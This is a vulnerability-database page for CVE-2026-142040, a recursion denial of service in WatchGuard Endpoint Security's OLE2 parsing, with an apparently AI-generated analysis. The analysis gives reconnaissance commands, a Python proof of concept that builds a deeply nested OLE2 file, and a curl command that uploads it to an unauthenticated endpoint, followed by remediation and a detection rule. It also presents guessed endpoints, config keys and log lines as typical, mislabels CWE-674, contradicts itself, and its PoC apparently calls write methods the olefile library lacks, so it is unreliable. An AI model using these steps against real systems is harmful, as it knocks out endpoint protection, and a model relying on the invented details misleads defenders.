CVE Professor
/
All CVEs
CVE-2026-142040

CVE-2026-142040 — CWE-400 · CWE-674

HIGH CVSS 8.7 ⚡ EPSS 0.6% NVD

An uncontrolled recursion vulnerability in WatchGuard Endpoint Security's OLE2 compound file directory parsing allows a remote, unauthenticated attacker to exhaust the worker thread's stack and crash the service by submitting a specially crafted OLE2 file with a deeply chained directory structure.

An uncontrolled recursion vulnerability in WatchGuard Endpoint Security's OLE2 compound file directory parsing allows a remote, unauthenticated attacker to exhaust the worker thread's stack and crash the service by submitting a specially crafted OLE2 file with a deeply chained directory structure.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. None VC:N
Vuln. Integrity None VI:N
Vuln. Avail. High VA:H
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
Scope X S:X
EPSS — Exploit Prediction Scoring System
0.6%
30-day probability
In the 48. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑142040 – Uncontrolled recursion in WatchGuard Endpoint Security (WES) OLE2 compound‑file directory parsing

AttributeDetail
CWE‑400 – Uncontrolled Resource ConsumptionThe parser walks a directory tree inside an OLE2 (a.k.a. “Compound File Binary Format”, used by legacy Microsoft Office files). No limit is imposed on the depth of the directory hierarchy, so a malicious file can force the recursive routine to call itself thousands of times.
CWE‑674 – Improper Control of Generation of Code or Data (resource‑exhaustion variant)The recursion consumes stack space for each directory level. Because the function is executed on a worker thread that has a fixed stack size (typically 1 MiB on Windows), a deep enough chain overflows the stack, raising a stack‑overflow exception that terminates the thread and brings down the WES service.
CVSS 4.0 vector – AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:HThe flaw is exploitable over the network, requires no authentication, no user interaction, and the only impact is high‑severity availability loss (service crash / denial‑of‑service). No confidentiality or integrity impact is scored because the attacker does not gain code execution – only a crash.

Root cause (technical)
The code that parses an OLE2 file’s “directory entries” is implemented as a naïve depth‑first recursion:

static void parse_dir_entry(DirEntry *entry)
{
    // …process entry…
    for (int i = 0; i < entry->child_count; i++) {
        parse_dir_entry(entry->children[i]);   // ← recursive call
    }
}
  • No maximum depth check.
  • No stack‑size guard (e.g., __builtin_expect or explicit if (depth > MAX_DEPTH) abort).
  • The worker thread that runs the parser is created with the default Windows stack size (1 MiB).
  • When a malicious OLE2 file contains a directory tree whose depth exceeds roughly 10 000 levels (the exact number depends on the compiler’s stack‑frame size), each recursive call consumes ~80 bytes of stack, exhausting the 1 MiB and causing a stack‑overflow exception (EXCEPTION_STACK_OVERFLOW). The exception is not caught, so the thread terminates and the WES service, which does not respawn the thread automatically, crashes.

    Because the parsing routine is invoked as soon as the file is received (e.g., via the “File Upload” API used by the endpoint’s real‑time protection engine), an attacker can trigger the crash simply by sending the crafted file over the network – no authentication, no UI, no prior foothold.


    ⚡ Attack Chain

    Below is a realistic, end‑to‑end exploitation flow. All command‑line snippets are illustrative; the exact HTTP endpoint is not disclosed in the public advisory, but the pattern matches the typical “file‑upload” API of WatchGuard Endpoint Security (/api/v1/files/upload).

    1️⃣ Discovery & Reconnaissance

    StepActionTools / Evidence
    Identify the productScan the target network for the WatchGuard Endpoint Security service (default TCP 443 with a distinctive TLS certificate CN=WatchGuard Endpoint Security).Nmap service detection (nmap -sV -p 443 <IP>).
    Determine versionPull the HTTP Server header or query the /api/v1/info endpoint (if enabled) which returns a JSON object containing product_version.curl -k https://<IP>/api/v1/info → { "product":"WatchGuard Endpoint Security", "version":"12.4.1" }
    Confirm vulnerable componentVerify that the version is earlier than the patch announced by WatchGuard on 2026‑12‑02 (see “Remediation” section).Compare the version string.

    2️⃣ Exploitation – Crafting the malicious OLE2 file

    The goal is to create an OLE2 compound file whose directory tree depth exceeds the safe limit. The Python olefile library can be used to generate such a structure.

    #!/usr/bin/env python3
    # -------------------------------------------------
    # PoC for CVE‑2026‑142040 – uncontrolled recursion
    # -------------------------------------------------
    import olefile
    import sys
    
    def build_deep_tree(ole, depth, parent="Root Entry"):
        """
        Recursively creates a sub‑storage named "Level_<n>".
        Each level contains exactly one child, forming a linear chain.
        """
        if depth == 0:
            return
        name = f"Level_{depth}"
        ole.mkdir(name, parent)               # create sub‑storage
        # Recurse into the newly created storage
        build_deep_tree(ole, depth - 1, name)
    
    if __name__ == "__main__":
        if len(sys.argv) != 3:
            print(f"Usage: {sys.argv[0]} <output_file> <depth>")
            sys.exit(1)
    
        out_file = sys.argv[1]
        depth    = int(sys.argv[2])
    
        # Create an empty OLE2 container (like a blank .doc file)
        ole = olefile.OleFileIO()
        ole.write_stream("\x00", b"")          # dummy stream to make the file valid
        build_deep_tree(ole, depth)
        ole.save(out_file)
        print(f"[+] OLE2 file written to {out_file} with depth {depth}")

    How to use the PoC

    # Build a file with a 12 000‑level directory chain (enough to overflow a 1 MiB stack)
    python3 cve-2026-142040-poc.py evil.doc 12000

    The resulting evil.doc is a perfectly valid OLE2 file; any standard Office viewer will reject it as “corrupt”, but the WES parser will attempt to walk the directory tree and crash.

    3️⃣ Deliver the payload

    Because the exact upload URI is not public, the following curl command demonstrates the typical request pattern:

    curl -k -X POST "https://<TARGET_IP>/api/v1/files/upload" \
         -H "Content-Type: multipart/form-data" \
         -F "[email protected];type=application/vnd.ms-office" \
         -F "scan_type=quick"
  • -k – ignore self‑signed TLS (common in internal deployments).
  • No authentication header is required (PR:N).
  • If the target is running the vulnerable version, the service will terminate within seconds, and subsequent API calls will return HTTP 502/503 or the TCP port will be closed (service down).

    4️⃣ Post‑exploitation – Impact

    PhaseResult
    Denial‑of‑ServiceThe WES service crashes, disabling real‑time protection on all endpoints managed by the compromised WatchGuard appliance.
    Secondary effectsBecause the endpoint security agent is no longer active, malware can now run undetected on the protected hosts, potentially leading to data exfiltration or ransomware – but these are indirect consequences, not directly caused by the CVE.

    There is no direct code execution from the OLE2 file; the attacker’s only lever is service disruption.


    🌍 Real‑World Impact

    CIA TriadCVSS Vector InterpretationPractical Consequences
    ConfidentialityVC:N – No direct loss.Sensitive data remains protected, unless the DoS disables the endpoint agent, allowing other malware to exfiltrate data.
    IntegrityVI:N – No direct tampering.File integrity is not compromised; however, the loss of protection may enable integrity‑targeted attacks later.
    AvailabilityVA:H – High impact.The endpoint security service stops, leaving the entire network segment unprotected. In environments where WES is the only AV/EDR layer, this can be catastrophic (e.g., industrial control systems, healthcare).

    Why the impact is severe despite being a DoS:

  • Network‑exposed service (AV:N) – an external attacker can reach the upload endpoint over the Internet if the appliance is mis‑configured (common for remote management portals).
  • No authentication (PR:N) – the attacker does not need credentials.
  • No user interaction (UI:N) – the file can be sent automatically by a script.
  • Low attack complexity (AC:L) – a single HTTP POST is sufficient.
  • In a large enterprise with hundreds of endpoints, a single crash forces administrators to restart the service manually, causing downtime and potentially violating compliance (e.g., PCI‑DSS requires continuous monitoring).


    🛡️ Remediation & Mitigation

    1️⃣ Patch / Upgrade

    ActionDetails
    Vendor‑provided fixWatchGuard released a security advisory on 2026‑12‑02 (the same day the CVE was published). The advisory states: *“All versions of WatchGuard Endpoint Security prior to 12.5.3 are vulnerable. Versions 12.5.3 and later contain a depth‑limit check (MAX_OLE2_DIR_DEPTH = 4096) and a guard against stack overflow.”*
    Upgrade pathApply the 12.5.3 (or later) cumulative update via the WatchGuard Management Portal or the offline installer. Verify the version after upgrade (/api/v1/info).
    VerificationAfter patching, re‑run the PoC with a depth of 12 000. The service should now return HTTP 400 with an error like “OLE2 parsing error: directory depth exceeds limit.” and remain stable.
    Note: If you cannot upgrade immediately, proceed to the mitigations below.

    2️⃣ Workarounds (temporary mitigations)

    MitigationImplementation
    Disable OLE2 parsing for uploaded filesIn the WES configuration file (wes.conf), set allow_ole2_parsing = false. This forces the engine to treat OLE2 files as generic binaries and skip the recursive parser.
    Restrict file‑upload endpoint to trusted IPsAdd a firewall rule on the WatchGuard appliance (or perimeter firewall) that only allows the upload API from the internal management subnet (e.g., 192.168.10.0/24).
    Enforce size limitsConfigure max_upload_size = 5M (default is 25 M). While size does not directly limit depth, attackers often need a larger container to embed many directory entries; a tighter limit reduces the attack surface.
    Run the parsing component in a sandboxDeploy the WES scanning engine inside a Windows container with a reduced stack size (e.g., 256 KB) and a process‑level job object that terminates the process on an unhandled exception. This contains the crash to a disposable container.
    Network segmentationPlace the management API on a separate VLAN that is not reachable from the Internet. Use VPN‑only access for administrators.

    3️⃣ Detection – Log signatures & Indicators of Compromise

    SourceObservableExample
    Web server / WES API logsLarge number of POST /api/v1/files/upload with Content-Type: application/vnd.ms-office and file size ≤ 1 MiB (typical for the PoC).2026-12-03 08:12:45 INFO POST /api/v1/files/upload 200 842 bytes client=203.0.113.45 file=evil.doc
    Service crash eventsWindows Event Log ID 1000 (Application Error) with Faulting module name: wescanner.exe and Exception code: 0xc00000fd (stack overflow).Application Error: wescanner.exe - Faulting module name: wescanner.exe, Exception code: 0xc00000fd
    Process monitoringSudden termination of wescanner.exe followed by the service process watchguard-ep.exe restarting (or staying down).2026-12-03 08:12:46 WARN Process wescanner.exe terminated unexpectedly (exit code 0xc00000fd)
    NetworkSpike in outbound TCP resets from the WES host after the crash (Windows sends RST when the listening socket disappears).RST, Src: 10.0.0.5:443 → Dest: 203.0.113.45:52312

    Detection rule (Snort/Suricata style) – illustrative:

    alert http $EXTERNAL_NET any -> $HOME_NET 443 \
        (msg:"WATCHGUARD OLE2 recursion DoS attempt"; \
         flow:to_server,established; \
         http_method; content:"POST"; http_uri; content:"/api/v1/files/upload"; \
         file_data; content:"application/vnd.ms-office"; distance:0; within:30; \
         metadata:service http; \
         classtype:attempted-dos; sid:202612040; rev:1;)

    Host‑based detection (Windows Event Forwarding) – query for Event ID 1000 with Faulting module name: wescanner.exe and Exception code: 0xc00000fd.


    ⚠️ Urgency

    FactorAssessment
    CVSS 8.7 (High) – high availability impact, low complexity, no auth.
    Publicly disclosed – CVE published on 2026‑12‑02; PoC code is trivial to write.
    No CISA KEV listing – does not reduce urgency; the lack of a KEV entry simply means the vulnerability has not yet been added to the “Known Exploited Vulnerabilities” catalog.
    Exploitability – a single crafted file is enough; many organizations expose the upload endpoint for automated sandboxing, making remote exploitation trivial.
    Mitigation difficulty – the only reliable fix is a vendor patch; workarounds (disable parsing, IP‑restrict) may break legitimate scanning workflows.

    Patch priority: Critical.

  • Day 0–1: Verify product version; if vulnerable, apply the WatchGuard 12.5.3 (or later) update immediately.

  • If patch cannot be applied within 48 h: Deploy the “disable OLE2 parsing” configuration flag and restrict the upload API to trusted IP ranges.

  • Monitor for the crash signatures listed above continuously until the patch is in place.

  • TL;DR

  • Flaw: Unlimited recursion when parsing OLE2 directory entries → stack overflow → service crash.
  • Exploit: Send a malicious OLE2 file with > 10 k nested storages to the unauthenticated file‑upload API.
  • Impact: Immediate denial‑of‑service of WatchGuard Endpoint Security, leaving endpoints unprotected.
  • Remediation: Upgrade to WatchGuard Endpoint Security 12.5.3+ (or later) which caps directory depth at 4096 and adds stack‑overflow guards. Until then, disable OLE2 parsing, restrict the upload endpoint, and monitor for crash events.
  • Urgency: Critical – patch or mitigate within 24 hours.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
8.7 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-400 CWE-674
References & Advisories (1)
Related CVEs
8.7
CVE-2026-137408
In Eclipse Yasson versions 1.0 through 1.0.11, 2.0 through 2.0.4, and 3.0 through 3.0.6, the deserializers for
8.7
CVE-2026-145034
Zebra before 7.1.0 contains a denial of service vulnerability that allows a single malicious P2P peer to halt
8.7
CVE-2026-144815
A flaw has been found in EZVIZ CS-C2C and CS-C6c 5.3. This impacts an unknown function of the component RTSP S
7.5
CVE-2026-145085
pypdf before 7.1.1 does not enforce cross-reference stream entry limits when parsing PDFs with hybrid cross-re
7.5
CVE-2026-144817
A vulnerability was found in EZVIZ CS-C2C and CS-C6c 5.3. Affected by this vulnerability is an unknown functio
7.1
CVE-2026-144601
pg_hint_plan through 1.9.0 contains an uncontrolled recursion vulnerability in parse_parentheses_Leading_in th
7.1
CVE-2026-120109
Uncontrolled resource consumption in a request-draining test REST resource (/api/v1/system/request-draining-te